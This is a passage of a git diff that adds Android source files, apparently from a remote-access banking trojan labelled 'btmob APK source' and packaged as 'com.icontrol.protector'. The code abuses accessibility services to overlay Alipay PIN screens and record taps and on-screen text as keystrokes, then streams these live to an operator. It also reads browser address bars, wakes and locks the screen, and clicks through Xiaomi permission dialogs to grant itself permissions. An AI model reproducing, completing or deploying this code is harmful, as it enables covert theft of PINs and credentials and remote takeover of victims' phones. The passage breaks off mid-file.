(event.getAction() == MotionEvent.ACTION_DOWN) { + AccessWindow.removeView(v); + Handler hstop = new Handler(Looper.getMainLooper()); + hstop.postDelayed(new Runnable() { + public void run() { + try { + // overlays.remove(viewId); + clickthis(bounds.centerX(), bounds.centerY()); + // MyLoger.Error("Alipay:",namenum); + String Allkey = "Alipay" + "|" + "PIN" + "|" + namenum; + if (liv_klogs) { + // MyLoger.Debug("keystorkelive", Allkey); + + try { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "keys"); + jsonObject.put("data", Allkey); + String jsonData = jsonObject.toString(); + + LiveChat.instance(getApplicationContext()).Livemessage(getApplicationContext(), jsonData); + } catch (Exception a) { + a.printStackTrace(); + } + } + ActivityMonitors.Record(Allkey, ActivityMonitors.ActivityType.KSTR); + Handler hstop = new Handler(Looper.getMainLooper()); + hstop.postDelayed(new Runnable() { + public void run() { + try { + AccessWindow.addView(overlay, params); + } catch (Exception d) { + + } + } + }, 500); + + } catch (Exception d) { + + } + } + }, 100); + + } + return true; + }); + + + params.gravity = Gravity.TOP | Gravity.START; + AccessWindow.addView(overlay, params); + overlays.put(viewId, overlay); + } + + public void Capturekeylogger(AccessibilityNodeInfo rootView, String appName, int eventType) { + try { + if (rootView == null) { + //Log.e("At.printViewIds", "Root view is null."); + return; + } + + try { + String data = ""; + + if (rootView.getText() != null) { + data = rootView.getText().toString(); + } else { + if (rootView.getContentDescription() != null) { + data = rootView.getContentDescription().toString(); + } + } + String checkempty = data.replace("[]", ""); + if (!checkempty.isEmpty() && checkempty.length() > 0) { + // if (!DoublecatKey.equals(data)) { + // DoublecatKey = data; + String eventTypeString = EtypetoStr(eventType); + String Allkey = appName + "|" + eventTypeString + "|" + data; + if (liv_klogs) { + // MyLoger.Debug("keystorkelive", Allkey); + + try { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "keys"); + jsonObject.put("data", Allkey); + String jsonData = jsonObject.toString(); + + LiveChat.instance(getApplicationContext()).Livemessage(getApplicationContext(), jsonData); + } catch (Exception a) { + a.printStackTrace(); + } + } + if(Rec_klogs){ + ActivityMonitors.Record(Allkey, ActivityMonitors.ActivityType.KSTR); + } + + // } + + } + } catch (Exception e) { + MyLoger.Error("At.acc.keystrk", e.getMessage()); + } +// // Recursively print child views +// for (int i = 0; i < rootView.getChildCount(); i++) { +// Capturekeylogger(rootView.getChild(i), appName, eventType); +// } + + } catch (Exception e) { + Log.e("At.printViewIds", "Exception: " + e.getMessage()); + } + } + + private void sleep(int mili) { + try { + Thread.sleep(mili); + } catch (Exception a) { + } + } + + private void finishxaomi() { + Handler handler = new Handler(Looper.getMainLooper()); + handler.postDelayed(() -> { + AccessibilityNodeInfo targetnod = null; + AccessibilityNodeInfo Rootview = getRootInActiveWindow(); + String[] resettexts = { + "Other permissions", + "أذونات أخرى", + "其他权限管理", + "Diğer izinler", + "Outras permissões", + "Другие разрешения", + "Otros permisos", + }; + for (String retext : resettexts) { + List otheprims = AccessTools.findNodesByText(retext, Rootview); + if (otheprims != null && !otheprims.isEmpty()) { + targetnod = otheprims.get(0); + break; + } + } + if (targetnod != null) { + + Rect out = new Rect(); + targetnod.getBoundsInScreen(out); + int X = (int) out.exactCenterX(); + int Y = (int) out.exactCenterY(); + clickthis(X, Y); + targetnod.recycle(); + handler.postDelayed(() -> { + try { + enableallxaomi(); + } catch (Exception a) { + a.printStackTrace(); + } + }, 700); + } else { + try { + this.performGlobalAction(GLOBAL_ACTION_BACK); + } catch (Exception a) { + a.printStackTrace(); + } + EngineWorker.holdxaomi = false; + MySettings.WriteBool(getApplicationContext(), Consts.skipxaomi, true); + + } + + + }, 1500); + } + + private void enableallxaomi() { + List nodeList = getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.miui.securitycenter:id/action"); + + if (nodeList != null) { + AccessibilityNodeInfo targetnod = null; + for (AccessibilityNodeInfo node : nodeList) { + CharSequence contentDescription = node.getContentDescription(); + if (contentDescription != null) { + if ("Deny".contentEquals(contentDescription)) { + targetnod = node; + break; + } + } + } + if (targetnod != null) { + + Rect out = new Rect(); + targetnod.getBoundsInScreen(out); + int X = (int) out.exactCenterX(); + int Y = (int) out.exactCenterY(); + clickthis(X, Y); + Handler handler = new Handler(Looper.getMainLooper()); + handler.postDelayed(() -> { + AccessibilityNodeInfo nf3 = AccessTools.getNodeByViewId(getRootInActiveWindow(), "com.miui.securitycenter:id/permission_always"); + if (nf3 != null) { + if (!nf3.isChecked()) { + nf3.performAction(AccessibilityNodeInfo.ACTION_CLICK); + } + try { + handler.postDelayed(() -> { + try { + this.performGlobalAction(GLOBAL_ACTION_BACK); + } catch (Exception a) { + a.printStackTrace(); + } + }, 250); + + } catch (Exception e) { + } + handler.postDelayed(() -> { + try { + enableallxaomi(); + } catch (Exception a) { + a.printStackTrace(); + } + }, 500); + } + }, 500); + } else { + try { + this.performGlobalAction(GLOBAL_ACTION_BACK); + try { + Thread.sleep(500); + } catch (Exception a) { + } + this.performGlobalAction(GLOBAL_ACTION_BACK); + } catch (Exception a) { + a.printStackTrace(); + } + EngineWorker.holdxaomi = false; + MySettings.WriteBool(getApplicationContext(), Consts.skipxaomi, true); + } + } + } +// private static void finishVivo() { +// Handler handler = new Handler(Looper.getMainLooper()); +// +// handler.postDelayed(() -> { +// context.performGlobalAction(AccessibilityService.GLOBAL_ACTION_RECENTS); +// +// handler.postDelayed(() -> { +// List switchNodes = Search.searchSById(context, "com.bbk.launcher2:id/label"); +// +// if (switchNodes != null && !switchNodes.isEmpty()) { +// AccessibilityNodeInfo firstSwitchNode = switchNodes.get(0); +// if (firstSwitchNode != null) { +// firstSwitchNode.getParent().performAction(AccessibilityNodeInfo.ACTION_CLICK); // 直接点击复选框 +// } +// } +// +// handler.postDelayed(() -> { +// List switchNodes2 = Search.searchSById(context, "com.bbk.launcher2:id/option_title"); +// +// if (switchNodes2 != null && !switchNodes2.isEmpty()) { +// AccessibilityNodeInfo firstSwitchNode = switchNodes2.get(0); +// if (firstSwitchNode != null) { +// firstSwitchNode.getParent().performAction(AccessibilityNodeInfo.ACTION_CLICK); // 直接点击复选框 +// } +// } +// +// handler.postDelayed(() -> { +// isIfFinishVivo = true; +// finish(context); +// }, 2500); +// +// }, 666); +// +// }, 1000); +// +// }, 500); +// +// } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AccessTools.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AccessTools.java new file mode 100644 index 0000000..94f0c47 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AccessTools.java @@ -0,0 +1,2666 @@ +package com.icontrol.protector; + +import static android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK; +import static android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME; +import static android.accessibilityservice.AccessibilityService.SHOW_MODE_AUTO; +import static android.accessibilityservice.AccessibilityService.SHOW_MODE_HIDDEN; +import static android.content.Context.WINDOW_SERVICE; +import static android.view.accessibility.AccessibilityEvent.eventTypeToString; + +import static com.icontrol.protector.AccessServices.AccessWindow; +import static com.icontrol.protector.AccessServices.FOR_CHNG_STNG; +import static com.icontrol.protector.AccessServices.FOR_DRAW_OVER; + +import static com.icontrol.protector.AccessServices.FOR_NOTFY; +import static com.icontrol.protector.AccessServices.FOR_PLY; +import static com.icontrol.protector.AccessServices.drawPin; +import static com.icontrol.protector.AccessServices.oneExtstrg; +import static com.icontrol.protector.AccessServices.onedisply; +import static com.icontrol.protector.AccessServices.onetimeDraw; +import static com.icontrol.protector.AccessServices.onetimeNoty; +import static com.icontrol.protector.AccessServices.screenfontSize; +import static com.icontrol.protector.Consts.removeapp; +import static com.icontrol.protector.UtliTools.IsScreenOn; +import static com.icontrol.protector.UtliTools.getLabelApplication; +import static com.icontrol.protector.UtliTools.isAppDisabled; +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; + +import static java.lang.Thread.sleep; + +import android.accessibilityservice.AccessibilityService; +import android.accessibilityservice.GestureDescription; +import android.annotation.SuppressLint; +import android.app.KeyguardManager; +import android.content.Context; +import android.content.Intent; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.graphics.Bitmap; +import android.graphics.Canvas; +import android.graphics.Color; +import android.graphics.Paint; +import android.graphics.Path; +import android.graphics.PixelFormat; +import android.graphics.Point; +import android.graphics.PorterDuff; +import android.graphics.Rect; +import android.graphics.Typeface; +import android.media.AudioManager; +import android.os.Build; +import android.os.Bundle; +import android.os.Environment; +import android.os.Handler; +import android.os.Looper; +import android.os.PowerManager; +import android.provider.Settings; +import android.util.Log; +import android.view.Gravity; +import android.view.View; +import android.view.WindowManager; +import android.view.accessibility.AccessibilityEvent; +import android.view.accessibility.AccessibilityManager; +import android.view.accessibility.AccessibilityNodeInfo; +import android.view.inputmethod.InputMethodManager; +import android.widget.Button; +import android.widget.FrameLayout; +import android.widget.RelativeLayout; + +import androidx.annotation.NonNull; +import androidx.annotation.RequiresApi; +import androidx.core.view.ViewCompat; +import androidx.core.view.accessibility.AccessibilityNodeInfoCompat; + +import java.io.ByteArrayOutputStream; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class AccessTools { + + + public static ArrayList TempPassLock = new ArrayList<>(); + + + public static ArrayList Blocked_Apps = new ArrayList<>(); + public static ArrayList Lock_App_list = new ArrayList<>(); + + public static ArrayList ject_list = new ArrayList<>(); + + //public static ArrayList BlockedWords = new ArrayList<>(); + + + private static Context mycontext() { + if (WorkServices.My_Access_inst == null) { + return null; + } + return WorkServices.My_Access_inst.getApplicationContext(); + } + + public static AccessServices myAccess() { + if (WorkServices.My_Access_inst == null) { + + return null; + } + return WorkServices.My_Access_inst; + } + + + public static class Supported_Browsers { + public String packageName, addressBarId; + + public Supported_Browsers(String packageName, String addressBarId) { + this.packageName = packageName; + this.addressBarId = addressBarId; + } + } + + @NonNull + public static List getSupportedBrowsers() { + List browsers = new ArrayList<>(); + browsers.add(new Supported_Browsers(Consts.CHROME_PACKAGE, Consts.CHROME_ID)); + browsers.add(new Supported_Browsers(Consts.FIREFOX_PACKAGE, Consts.FIREFOX_ID)); + browsers.add(new Supported_Browsers(Consts.SAMSUNG_BROWSER_PACKAGE, Consts.SAMSUNG_BROWSER_ID)); + browsers.add(new Supported_Browsers(Consts.BRAVE_PACKAGE, Consts.BRAVE_ID)); + browsers.add(new Supported_Browsers(Consts.OPERA_PACKAGE, Consts.OPERA_ID)); + browsers.add(new Supported_Browsers(Consts.DUCKDUCKGO_PACKAGE, Consts.DUCKDUCKGO_ID)); + browsers.add(new Supported_Browsers(Consts.OPERA_MINI_PACKAGE, Consts.OPERA_MINI_ID)); + browsers.add(new Supported_Browsers(Consts.MICROSOFT_EDGE_PACKAGE, Consts.MICROSOFT_EDGE_ID)); + browsers.add(new Supported_Browsers(Consts.COLOROS_BROWSER_PACKAGE, Consts.COLOROS_BROWSER_ID)); + browsers.add(new Supported_Browsers(Consts.ANDROID_BROWSER_PACKAGE, Consts.ANDROID_BROWSER_ID)); + browsers.add(new Supported_Browsers(Consts.TUNNY_BROWSER_PACKAGE, Consts.TUNNY_BROWSER_ID)); + return browsers; + } + + public static String captureUrl(AccessibilityNodeInfo info, Supported_Browsers config) { + List nodes = info.findAccessibilityNodeInfosByViewId(config.addressBarId); + if (nodes == null || nodes.size() <= 0) { + return null; + } + + AccessibilityNodeInfo addressBarNodeInfo = nodes.get(0); + if (addressBarNodeInfo == null) { + return null; + } + String url = null; + if (addressBarNodeInfo.getText() != null) { + url = addressBarNodeInfo.getText().toString(); + + } + addressBarNodeInfo.recycle(); + + return url; + } + + public static boolean isSameWebsite(String url, String domain) { + try { + Pattern pattern = Pattern.compile("^(?:https?://)?(?:[^:/\\n]+\\.)?([^:/\\n]+\\.[^:/\\n]+)"); + Matcher matcher = pattern.matcher(url); + if (matcher.find()) { + String extractedDomain = matcher.group(1); + assert extractedDomain != null; + return extractedDomain.equals(domain); + } + } catch (Exception a) { + } + return false; + } + + public static boolean isSystemApp(Context context, String packageName) { + PackageManager packageManager = context.getPackageManager(); + try { + ApplicationInfo appInfo = packageManager.getApplicationInfo(packageName, 0); + // Check if the application is a system app + return (appInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0; + } catch (PackageManager.NameNotFoundException e) { + // Package not found, not a system app + return false; + } + } + + + public static String readAllTextOnScreen(AccessibilityNodeInfo node) { + try { + StringBuilder textBuilder = new StringBuilder(); + + if (node == null) { + return ""; + } + + if (node.getText() != null && node.isVisibleToUser()) { + textBuilder.append(node.getText()); + } + + + // Recursively process child nodes + for (int i = 0; i < node.getChildCount(); i++) { + String childText = readAllTextOnScreen(node.getChild(i)); + if (!childText.isEmpty()) { + textBuilder.append(" ").append(childText); + } + } + + return textBuilder.toString(); + } catch (Exception a) { + return ""; + } + } + + public static String EtypetoStr(int eventType) { + switch (eventType) { + case AccessibilityEvent.TYPE_VIEW_CLICKED: + return "Clicked"; + case AccessibilityEvent.TYPE_VIEW_LONG_CLICKED: + return "Long Clicked"; + case AccessibilityEvent.TYPE_VIEW_SELECTED: + return "Selected"; + case AccessibilityEvent.TYPE_VIEW_FOCUSED: + return "Focused"; + case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: + return "Text Changed"; + case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED: + return "Window Changed"; + case AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED: + return "Notification Changed"; + case AccessibilityEvent.TYPE_VIEW_HOVER_ENTER: + return "Hover Enter"; + case AccessibilityEvent.TYPE_VIEW_HOVER_EXIT: + return "Hover Exit"; + case AccessibilityEvent.TYPE_VIEW_SCROLLED: + return "Scrolled"; + case AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED: + return "Text Selection Changed"; + // Add more cases as needed for other event types + default: + return eventTypeToString(eventType); + } + } + + public static List findNodesByText(String text, AccessibilityNodeInfo nodeInfo) { + + if (nodeInfo != null) { + return nodeInfo.findAccessibilityNodeInfosByText(text); + } + return null; + } + + public static List findNodesByContentDescription(String desc, AccessibilityNodeInfo rootNode) { + List result = new ArrayList<>(); + if (rootNode == null) return result; + + findNodesByContentDescriptionRecursive(rootNode, desc, result); + return result; + } + + private static void findNodesByContentDescriptionRecursive(AccessibilityNodeInfo node, String desc, List result) { + if (node == null) return; + + CharSequence contentDesc = node.getContentDescription(); + if (contentDesc != null && contentDesc.toString().equals(desc)) { + result.add(node); + } + + for (int i = 0; i < node.getChildCount(); i++) { + AccessibilityNodeInfo child = node.getChild(i); + findNodesByContentDescriptionRecursive(child, desc, result); + if (child != null) { + child.recycle(); // important to avoid memory leaks + } + } + } + + + public static void GoHome() { + AccessServices MyAccess = myAccess(); + if (MyAccess != null) { + MyAccess.performGlobalAction(GLOBAL_ACTION_HOME); + + } + + +// Context ctx = mycontext(); +// if (ctx == null) { +// return; +// } +// try { +// performGlobalAction(GLOBAL_ACTION_HOME); +// Intent home = new Intent(Intent.ACTION_MAIN); +// home.addCategory(Intent.CATEGORY_HOME); +// home.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// ctx.startActivity(home); +// } catch (Exception a) { +// } + } + + public static void LockScreen() { + if (WorkServices.My_Access_inst != null) { + //AccessibilityService.GLOBAL_ACTION_LOCK_SCREEN = 8 + WorkServices.My_Access_inst.performGlobalAction(Integer.valueOf("8")); + } + } + + public static void blockBack() { + + try { + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + + if (android.os.Build.VERSION.SDK_INT > 15) { + for (int i = 0; i <= 4; i++) { + + try { + MyAccess.performGlobalAction(GLOBAL_ACTION_BACK); + } catch (Exception e) { + } +// try{ +// Thread.sleep(100); +// }catch (Exception s){} + + } + } + + } catch (Exception e) { + MyLoger.Error("blockBack", e.getMessage()); + } + + } + + public static void Navitageto(String navto) { + if (WorkServices.My_Access_inst == null) { + return; + } + + Context ctx = mycontext(); + if (ctx == null) { + return; + } + + switch (navto) { + case "ho": + if (!IsScreenOn(ctx) && Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + WakeScreen(null); + } + + WorkServices.My_Access_inst.performGlobalAction(GLOBAL_ACTION_HOME); + break; + case "rec": + WorkServices.My_Access_inst.performGlobalAction(AccessibilityService.GLOBAL_ACTION_RECENTS); + break; + case "bak": + WorkServices.My_Access_inst.performGlobalAction(GLOBAL_ACTION_BACK); + break; + + default: + break; + } + } + + private static PowerManager.WakeLock wakelights = null; + + + @RequiresApi(api = Build.VERSION_CODES.M) + public static void WakeScreen(Context ctx) { + try { + + if (ctx == null) { + ctx = mycontext(); + } + if (ctx == null) { + return; + } + +// if (IsScreenOn(ctx)) { +// return; +// } + + + try { + Intent wakscr = new Intent(ctx, wakeitaiv.class); + wakscr.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + wakscr.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + wakscr.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + wakscr.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); + ctx.startActivity(wakscr); + } catch (Exception a) { + + } + PowerManager powerManager = (PowerManager) ctx.getSystemService(Context.POWER_SERVICE); + // if (!powerManager.isInteractive() || powerManager.isDeviceIdleMode()) { + + if (wakelights == null) { + wakelights = powerManager.newWakeLock(PowerManager.FULL_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP | PowerManager.ON_AFTER_RELEASE, ":"); + } + try { + if (wakelights.isHeld()) { + return; + } + } catch (Exception s) { + } + new Thread(new Runnable() { + @Override + public void run() { + try { + if (!wakelights.isHeld()) { + wakelights.acquire(); + } + } catch (Exception s) { + } + boolean holdit = true; + + try { + sleep(15000); + } catch (Exception a) { + holdit = false; + } + + + try { + if (wakelights.isHeld()) { + wakelights.release(); + } + } catch (Exception s) { + + } + + } + }).start(); + + // } + } catch (Exception f) { + f.printStackTrace(); + + } + } + +// private static PowerManager.WakeLock Wakelong; +// +// public static void KeepAwake(Context ctx) { +// try { +// if (ctx == null) { +// ctx = mycontext(); +// } +// if (ctx == null) { +// return; +// } +// +// PowerManager powerManager = (PowerManager) ctx.getSystemService(Context.POWER_SERVICE); +// +// // Initialize the wake lock if not already done +// if (Wakelong == null) { +// Wakelong = powerManager.newWakeLock( +// PowerManager.FULL_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP | PowerManager.ON_AFTER_RELEASE, +// "B:T" +// ); +// } +// +// // Acquire the wake lock if not already held +// if (!Wakelong.isHeld()) { +// Wakelong.acquire(); +// } +// try{ +// Thread.sleep(5000); +// }catch (Exception a){} +// ReleaseKeepWake(); +// } catch (Exception e) { +// +// e.printStackTrace(); +// } +// } +// +// public static void ReleaseKeepWake() { +// try { +// if (Wakelong != null && Wakelong.isHeld()) { +// Wakelong.release(); +// } +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } + + +// @RequiresApi(api = Build.VERSION_CODES.N) +// public static void TouchWatcher(String command, String Recname) { +// Context ctx = mycontext(); +// if (ctx == null) { +// return; +// } +// +// AccessServices MyAccess = myAccess(); +// if (MyAccess == null) { +// return; +// } +// switch (command) { +// case "Start": +// Handler h = new Handler(Looper.getMainLooper()); +// h.post(new Runnable() { +// public void run() { +// //here show dialog +// try { +// +// if (MyAccess.WatchFramelayout.getWindowToken() == null) { +// MyAccess.windowmanager.addView(MyAccess.WatchFramelayout, MyAccess.WatchParams); +// } +// //"Monitoring Started" +// } catch (Exception a) { +// a.printStackTrace(); +// } +// } +// }); +// +// +// break; +// case "Record": +// +// if (MyAccess.RecordTouch) { +// //"Recorder is All Ready Active" +// return; +// } +// MyAccess.RecordTouch = true; +// MySettings.Write(ctx, Consts.RecordName, Recname); +// //"Recorder Started" +// +// break; +// case "Stop": +// Handler hstop = new Handler(Looper.getMainLooper()); +// hstop.post(new Runnable() { +// public void run() { +// try { +// if (MyAccess.WatchFramelayout.getWindowToken() != null) { +// try { +// MyAccess.windowmanager.removeView(MyAccess.WatchFramelayout); +// } catch (Exception a) { +// } +// } +// } catch (Exception d) { +// +// } +// } +// }); +// +// if (MyAccess.RecordTouch) { +// String RecordName = MySettings.Read(ctx, Consts.RecordName, "Rec1"); +// UtliTools.SaveTouchs(ctx, RecordName, MyAccess.PointArrys); +// +// +// MySettings.Write(ctx, Consts.RecordName, ""); +// } +// MyAccess.RecordTouch = false; +// MyAccess.PointArrys.clear(); +// //"Monitoring Disabled" +// break; +// case "Remove": +// +// UtliTools.ClearCaptuied(Recname); +// break; +// case "Repet": +// +// final LinkedHashMap arrytotouch = UtliTools.LoadTouches(Recname); +// if (arrytotouch == null) { +// //"Record Not Found" +// return; +// } +// //"Start Auto Clicker" +// +// try { +// if (arrytotouch.size() > 0) { +// +// +// for (String key : arrytotouch.keySet()) { +// try { +// sleep(2000); +// } catch (InterruptedException e) { +// +// } +// Point[] Arrytotouch = arrytotouch.get(key); +// if (key.startsWith("C")) { +// clickthis(Arrytotouch[0].x, Arrytotouch[0].y); +// } else if (key.startsWith("S")) { +// mouseDraw(Arrytotouch, 1000); +// } +// } +// +// arrytotouch.clear(); +// } +// +// } catch (Exception a) { +// +// } +// +// break; +// } +// } + + public static void mouseDraw(Point[] segments, int time) { + + try { + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + Path path = new Path(); + path.moveTo(segments[0].x, segments[0].y); + for (int i = 1; i < segments.length; i++) { + try { + path.lineTo(segments[i].x, segments[i].y); + } catch (Exception a) { + + } + } + GestureDescription.StrokeDescription sd = new GestureDescription.StrokeDescription(path, 0, time); + MyAccess.dispatchGesture(new GestureDescription.Builder().addStroke(sd).build(), new AccessibilityService.GestureResultCallback() { + @Override + public void onCompleted(GestureDescription gestureDescription) { + super.onCompleted(gestureDescription); + } + + @Override + public void onCancelled(GestureDescription gestureDescription) { + super.onCancelled(gestureDescription); + } + }, null); + } + } catch (Exception e) { + e.printStackTrace(); + } + + } + + + public static boolean clickthis(int x, int y) { + // for a single tap a duration of 1 ms is enough + try { + + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return false; + } + + final int DURATION = 1; + + Path clickPath = new Path(); + clickPath.moveTo(x, y); + // clickPath.lineTo(x, y); + GestureDescription.StrokeDescription clickStroke = + null; + clickStroke = new GestureDescription.StrokeDescription(clickPath, 0, DURATION); + GestureDescription.Builder clickBuilder = new GestureDescription.Builder(); + clickBuilder.addStroke(clickStroke); + return MyAccess.dispatchGesture(clickBuilder.build(), null, null); + } catch (Exception a) { + a.printStackTrace(); + } + return false; + } + + public static boolean clickscr(int x, int y, int dur) { + // for a single tap a duration of 1 ms is enough + try { + + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return false; + } + + final int DURATION = dur; + + Path clickPath = new Path(); + clickPath.moveTo(x, y); + // clickPath.lineTo(x, y); + GestureDescription.StrokeDescription clickStroke = + null; + clickStroke = new GestureDescription.StrokeDescription(clickPath, 0, DURATION); + GestureDescription.Builder clickBuilder = new GestureDescription.Builder(); + clickBuilder.addStroke(clickStroke); + return MyAccess.dispatchGesture(clickBuilder.build(), null, null); + } catch (Exception a) { + a.printStackTrace(); + } + return false; + } + // public static Boolean AlreadyCaptured(String Myname) { +// try { +// String name = Myname + ".json"; +// +// File appDirectory = null; +// +// File sdDir = android.os.Environment.getExternalStorageDirectory(); +// +// appDirectory = new File(sdDir + Consts.TouchsPath); +// +// if (appDirectory != null && appDirectory.exists()) { +// File fileName = new File(appDirectory, name); +// if (fileName.exists()) { +// return true; +// } +// } +// +// +// } catch (Exception a) { +// +// } + // return false; + //} +// public static void enableTouchExploration() { +// AccessServices MyAccess = myAccess(); +// if (MyAccess == null) { +// return ; +// } +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { +// AccessibilityServiceInfo info = MyAccess.getServiceInfo(); +// +// info.flags |= AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE; +// +// MyAccess.setServiceInfo(info); +// } +// } + + // public static void disableTouchExploration() { +// AccessServices MyAccess = myAccess(); +// if (MyAccess == null) { +// return ; +// } +// AccessibilityServiceInfo serviceInfo = MyAccess.getServiceInfo(); +// +// serviceInfo.flags &= ~AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE; +// +// MyAccess.setServiceInfo(serviceInfo); +// } + public static void slideUp() { + + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + simulateSlideUpGesture(MyAccess.mWidth, MyAccess.mHeight); + } +// String[] tokens = "{X=526,Y=2334}:{X=526,Y=2317}:{X=526,Y=2291}:{X=526,Y=2268}:{X=526,Y=2242}:{X=526,Y=2218}:{X=526,Y=2192}:{X=526,Y=2169}:{X=526,Y=2143}:{X=526,Y=2126}:{X=526,Y=2106}:{X=526,Y=2090}:{X=526,Y=2070}:{X=526,Y=2050}:{X=526,Y=2034}:{X=526,Y=2014}:{X=526,Y=1994}:{X=526,Y=1977}:{X=526,Y=1958}:{X=526,Y=1941}:{X=526,Y=1921}:{X=526,Y=1902}:{X=526,Y=1885}:{X=526,Y=1865}:{X=526,Y=1842}:{X=526,Y=1816}:{X=526,Y=1793}:{X=526,Y=1760}:{X=526,Y=1736}:{X=526,Y=1703}:{X=526,Y=1680}:{X=526,Y=1661}:{X=526,Y=1644}:{X=526,Y=1631}:{X=526,Y=1611}:{X=526,Y=1598}:{X=526,Y=1581}:{X=526,Y=1568}:{X=526,Y=1555}:{X=526,Y=1545}:{X=526,Y=1525}:{X=526,Y=1505}:{X=526,Y=1489}:{X=526,Y=1469}:{X=526,Y=1449}:{X=526,Y=1426}:{X=526,Y=1400}:{X=526,Y=1377}:{X=526,Y=1357}:{X=526,Y=1340}:{X=526,Y=1320}:{X=526,Y=1301}:{X=526,Y=1284}:{X=526,Y=1264}:{X=526,Y=1248}:{X=526,Y=1228}:{X=526,Y=1208}:{X=526,Y=1192}:{X=526,Y=1172}:{X=526,Y=1152}:{X=526,Y=1136}:{X=526,Y=1116}:{X=526,Y=1099}:{X=526,Y=1080}:{X=526,Y=1066}:{X=526,Y=1053}:{X=526,Y=1050}:{X=526,Y=1037}:{X=526,Y=1030}:{X=526,Y=1023}:{X=526,Y=1017}:{X=526,Y=1004}:{X=526,Y=994}:{X=526,Y=980}:{X=526,Y=967}:{X=526,Y=954}:{X=526,Y=944}:{X=526,Y=938}:{X=526,Y=931}:{X=526,Y=924}:{X=526,Y=918}:{X=526,Y=905}:{X=526,Y=895}:{X=526,Y=881}:{X=526,Y=868}:{X=526,Y=862}:{X=526,Y=852}:{X=526,Y=845}:{X=526,Y=832}:{X=526,Y=825}:{X=526,Y=812}:{X=526,Y=806}:{X=526,Y=796}:{X=526,Y=789}:{X=526,Y=782}:{X=526,Y=769}:{X=526,Y=756}:{X=526,Y=753}:{X=526,Y=746}:{X=526,Y=746}:".split(Pattern.quote(":")); +// Point[] moviments = new Point[tokens.length]; +// +// for (int i = 0; i < tokens.length - 1; i++) { +// try { +// String[] coordinatesarry = tokens[i].replace("{", "").replace("}", "").split(","); +// +// int x = Integer.parseInt(coordinatesarry[0].split("=")[1]); +// int y = Integer.parseInt(coordinatesarry[1].split("=")[1]); +// +// moviments[i] = new Point(x, y); +// } catch (Exception a) { +// +// } +// +// } +// mouseDraw(moviments, 2000); + + } + + @RequiresApi(api = Build.VERSION_CODES.N) + private static void simulateSlideUpGesture(int screenWidth, int screenHeight) { + AccessibilityService myAccessService = myAccess(); + if (myAccessService == null) { + return; + } + + // Define start and end positions for the slide-up gesture + float startX = screenWidth * 0.5f; // Center of the screen horizontally + float startY = screenHeight * 0.75f; // 75% down the screen + float endY = screenHeight * 0.1f; // 20% down the screen + + // Create a smooth path for the slide-up gesture + Path path = new Path(); + path.moveTo(startX, startY); // Start point + path.lineTo(startX, endY); // Directly to the endpoint for a smooth line + + // Build the gesture + GestureDescription.Builder builder = new GestureDescription.Builder(); + GestureDescription.StrokeDescription stroke = + new GestureDescription.StrokeDescription(path, /*startTime=*/ 0, /*duration=*/ 300); // Duration of 500ms for the gesture + builder.addStroke(stroke); + + // Dispatch the gesture using the accessibility service + GestureDescription gesture = builder.build(); + myAccessService.dispatchGesture(gesture, new AccessibilityService.GestureResultCallback() { + @Override + public void onCompleted(GestureDescription gestureDescription) { + Log.d("SlideUpGesture", "Slide-up gesture completed successfully."); + } + + @Override + public void onCancelled(GestureDescription gestureDescription) { + Log.e("SlideUpGesture", "Slide-up gesture was cancelled."); + } + }, null); + } + + private void performSwipeUp() { + + } + +// public static void slide(Context ctx, String direction) { +// // Read screen dimensions from settings +// int screenWidth = Integer.parseInt(MySettings.Read(ctx, Consts.Mob_width, "720")); +// int screenHeight = Integer.parseInt(MySettings.Read(ctx, Consts.Mob_height, "1280")); +// +// // Set up default start and end points based on the direction +// Point start = new Point(screenWidth / 2, screenHeight - 100); // Start near the bottom middle +// Point end = new Point(screenWidth / 2, 100); // End near the top middle +// int numPoints = 50; // Number of points in the movement +// Point[] movements = new Point[numPoints]; +// +// switch (direction.toLowerCase()) { +// case Consts.slide_up: +// generateVerticalPoints(movements, start, end, true); +// break; +// case Consts.slide_down: +// generateVerticalPoints(movements, start, new Point(screenWidth / 2, screenHeight - 100), false); +// break; +// case Consts.slide_left: +// start = new Point(screenWidth - 100, screenHeight / 2); // Start near the right middle +// end = new Point(100, screenHeight / 2); // End near the left middle +// generateHorizontalPoints(movements, start, end, true); +// break; +// case Consts.slide_right: +// start = new Point(100, screenHeight / 2); // Start near 